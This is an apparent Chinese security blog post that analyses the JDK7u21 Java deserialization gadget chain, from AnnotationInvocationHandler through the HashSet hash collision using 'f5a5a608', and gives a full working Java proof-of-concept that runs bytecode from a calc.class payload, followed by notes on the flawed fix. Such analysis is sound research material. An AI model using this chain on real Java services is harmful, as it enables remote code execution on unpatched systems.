JDK7u21原生反序列化

Java的反序列化漏洞有一些时基于第三方jar包的,所以我们不难免会设想是否存在不依赖第三方的Gadget。比如这条JDK7u21的链子,不需要任何其他的jar包。

依赖

jdk版本低于7u21 我这里用7u21

利用链分析

7u21利用链的核心是AnnotationInvocationhandler#equalslmpl

equalslmpl

getMemberMethods

这个方法中有个很明显的反射调用memberMethod.invoke(o),而memberMethod来自于 this.type.getDeclaredMethods()

也就是说,equalsImpl这个方法是将this.type类中的所有方法遍历并执行了。那么,假设 this.type是Templates类,则势必会调用到其中的newTransformergetOutputProperties方法,而这些方法最终都会触发任意java代码执行。

那么我们要如何调用到equalsImpl方法呢?equalsImpl是一个私有方法,在 AnnotationInvocationHandler#invoke中被调用。

invoke

AnnotationInvocationhandler是继承了InvocationHandler接口的类,我们知道,如果调用被动态代理类实现的接口方法的话就会调用动态代理类的invoke()方法。(详见深入理解 Java 之动态代理实现机制

可见,当方法名等于“equals”,且仅有一个Object类型参数时,会调用到equalsImpl方法。所以,现在的问题变成,我们需要找到一个方法,在反序列化时对proxy调用equals方法。

发明这个链子的师傅确实很强,联想到set这个数据结构。

Set实际上相当于只存储key、不存储value的Map。我们经常用Set用于去除重复元素。因为对象不重复,因此就会涉及到比较。equals是用来比较两个对象的内容是否相同。最常用的Set实现类是HashSet,实际上,HashSet仅仅是对HashMap的一个简单封装。

看一下HashSet的readObject()方法:

readObject

map.put就是HashMap的put方法了

put

这里就有我们想要的equals方法,这里有一段逻辑是判断两个key的hash是否相同,然后才会执行到或||后的语句,调用equals判断两个key是否相同。

可以发现对放入的key计算hash值,如果当前的map中有hash值相同的key,就会key.equals(k),如果让key是代理对象,k是我们的恶意TemplatesImpl的话,就可以和上面的分析接上了,成功命令执行。

所以为了最终调用到equals方法,我们必须往HashSet里放入2个hash相同的对象。

精妙的hash值

hashmap中hash()的计算方式如下,中间的if方法不用管(我们这里不涉及到),主要是h^=k.hashCode()这行代码。

hash

所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode()是否相等。TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hashCode()

根据动态代理的规则,我们调用proxy.hashCode()的时候其实会先调用其invoke方法:

invoke2

看看hashCodeImpl方法:

hashCodeImpl

它会遍历memberValues(也就是它的构造方法中我们最开始传入的HashMap)中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashCode()并求和。

JDK7u21中使用了一个非常巧妙的方法:

  • 当memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
  • 当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCode()
  • 当value就是TemplateImpl对象时,这两个对象的哈希就完全相等。

所以我们现在最终的问题就是找到一个字符串其hashCode()为0,这里直接给出其中一个答案:f5a5a608,这也是ysoserial中用到的字符串。

1
hashMap.put("f5a5a608",templatesImpl);

这个字符串的hashCode()返回值是0,那么proxy.hashCode()的返回值就是templatesImpl的hashCode,在最后HashMap.put的判断里:proxy.hashCode()就会等于templatesImpl.hashCode(),就会进入proxy.equals了。

poc

由于jdk7不自带base64,所以这里选择文件序列化 反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\13664\\Desktop\\jdk7u21\\target\\classes\\calc.class"));
TemplatesImpl templatesImpl = (TemplatesImpl) getTemplates(bytes);

HashMap hashMap = new HashMap();
hashMap.put("f5a5a608",templatesImpl);

//AnnotationInvocationHandler不为public。无法从外部软件包访问,通过反射获取构造函数来获取一个对象。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);

//构造动态代理
Templates procy = (Templates) Proxy.newProxyInstance(Proxy.class.getClassLoader(),new Class[]{Templates.class},invocationHandler);

HashSet set = new HashSet();
set.add(procy);
set.add(templatesImpl);


serialize(set);
unserialize("7u21.ser");
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void serialize(Object obj) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("7u21.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
}

public static void unserialize(String filename) throws Exception {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

calc

不完全的修复

看看官方的修复方案: 在sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。在新版中,将这个返回改为了抛出一个异常,会导致整个序列化的过程终止。

20211130194851

这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20。

参考文章:

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87%E4%B9%8BJDK7u21/

https://www.cnblogs.com/BUTLER/articles/16478462.html


JDK7u21原生反序列化
http://example.com/2025/03/06/JDK7u21原生反序列化/
作者
Infernity
发布于
2025年3月6日
许可协议